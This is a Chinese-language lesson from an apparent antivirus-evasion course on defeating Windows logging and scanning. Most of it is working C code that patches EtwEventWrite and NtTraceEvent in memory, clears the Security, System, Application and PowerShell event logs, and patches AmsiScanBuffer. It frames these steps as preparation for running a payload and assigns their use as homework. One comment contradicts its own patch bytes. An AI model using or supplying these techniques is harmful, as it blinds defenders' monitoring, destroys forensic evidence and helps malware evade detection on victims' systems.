免杀专题
9、Windows日志绕过
1. 课程概述
1.1 学习目标
- 理解Windows事件日志机制
- 掌握ETW(Event Tracing for Windows)原理
- 学会禁用或绕过日志记录
- 理解安全软件的日志监控方式
2. 名词解释
| 术语 | 说明 |
|---|---|
| ETW | Event Tracing for Windows,Windows事件追踪系统 |
| Event Log | Windows事件日志 |
| AMSI | Antimalware Scan Interface,反恶意软件扫描接口 |
| Provider | ETW事件提供者 |
| Consumer | ETW事件消费者 |
3. 技术原理
3.1 ETW架构
Provider (提供者) → ETW Session (会话) → Consumer (消费者)
↓ ↓ ↓
应用/内核产生事件 内核缓冲区 安全软件/日志服务
3.2 关键的ETW Provider
| Provider | GUID | 用途 |
|---|---|---|
| Microsoft-Windows-Kernel-Process | {22FB2CD6-…} | 进程事件 |
| Microsoft-Windows-PowerShell | {A0C1853B-…} | PowerShell日志 |
| Microsoft-Antimalware-Engine | {E4B70372-…} | Defender事件 |
4. 实现代码
4.1 禁用ETW(Patch EtwEventWrite)
#include <windows.h>
#include <stdio.h>
BOOL DisableETW() {
// 获取ntdll中的EtwEventWrite
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PVOID pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
if (!pEtwEventWrite) {
printf("[-] EtwEventWrite not found\n");
return FALSE;
}
printf("[+] EtwEventWrite at: 0x%p\n", pEtwEventWrite);
// Patch为直接返回
// x64: xor eax, eax; ret (0x33 0xC0 0xC3)
BYTE patch[] = { 0x33, 0xC0, 0xC3 };
// 修改内存保护
DWORD oldProtect;
if (!VirtualProtect(pEtwEventWrite, sizeof(patch),
PAGE_EXECUTE_READWRITE, &oldProtect)) {
printf("[-] VirtualProtect failed\n");
return FALSE;
}
// 写入patch
memcpy(pEtwEventWrite, patch, sizeof(patch));
// 恢复保护
VirtualProtect(pEtwEventWrite, sizeof(patch), oldProtect, &oldProtect);
printf("[+] ETW disabled!\n");
return TRUE;
}
int main() {
printf("========== ETW Bypass ==========\n");
DisableETW();
// 现在ETW事件不会被记录
printf("[*] Running payload...\n");
// ... payload code ...
return 0;
}
4.2 利用NtTraceEvent绕过
// NtTraceEvent是更底层的ETW函数
// 同样可以patch
typedef NTSTATUS(NTAPI* pNtTraceEvent)(
HANDLE TraceHandle,
ULONG Flags,
ULONG FieldSize,
PVOID Fields
);
BOOL DisableNtTraceEvent() {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PVOID pFunc = GetProcAddress(hNtdll, "NtTraceEvent");
if (!pFunc) return FALSE;
BYTE patch[] = { 0xC3 }; // ret
DWORD oldProtect;
VirtualProtect(pFunc, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)pFunc = 0xC3;
VirtualProtect(pFunc, 1, oldProtect, &oldProtect);
return TRUE;
}
4.3 清除事件日志
#include <windows.h>
#include <winevt.h>
#include <stdio.h>
#pragma comment(lib, "wevtapi.lib")
BOOL ClearEventLog(LPCWSTR szChannel) {
EVT_HANDLE hChannel = EvtOpenChannelConfig(NULL, szChannel, 0);
if (!hChannel) {
printf("[-] Failed to open channel\n");
return FALSE;
}
if (!EvtClearLog(NULL, szChannel, NULL, 0)) {
printf("[-] EvtClearLog failed: %lu\n", GetLastError());
EvtClose(hChannel);
return FALSE;
}
printf("[+] Log cleared: %ws\n", szChannel);
EvtClose(hChannel);
return TRUE;
}
int main() {
// 需要管理员权限
ClearEventLog(L"Security");
ClearEventLog(L"System");
ClearEventLog(L"Application");
ClearEventLog(L"Windows PowerShell");
return 0;
}
5. AMSI绕过
5.1 Patch AmsiScanBuffer
BOOL DisableAMSI() {
HMODULE hAmsi = LoadLibraryA("amsi.dll");
if (!hAmsi) {
printf("[*] AMSI not loaded\n");
return TRUE;
}
PVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
if (!pAmsiScanBuffer) return FALSE;
// Patch为返回 AMSI_RESULT_CLEAN (0)
// mov eax, 0x80070057; ret (E_INVALIDARG)
BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
DWORD oldProtect;
VirtualProtect(pAmsiScanBuffer, sizeof(patch),
PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(pAmsiScanBuffer, patch, sizeof(patch));
VirtualProtect(pAmsiScanBuffer, sizeof(patch), oldProtect, &oldProtect);
printf("[+] AMSI disabled!\n");
return TRUE;
}
6. 安全注意事项
- 禁用日志本身可能被检测
- 清除日志需要管理员权限
- 兩游检测可能发现异常
7. 课后作业
- 实现ETW bypass并验证效果
- 研究其他ETW Provider的禁用方法
- 尝试绕过AMSI检测
8. 下一课预告
下一课我们将学习**“进程镂空”**(Process Hollowing)技术。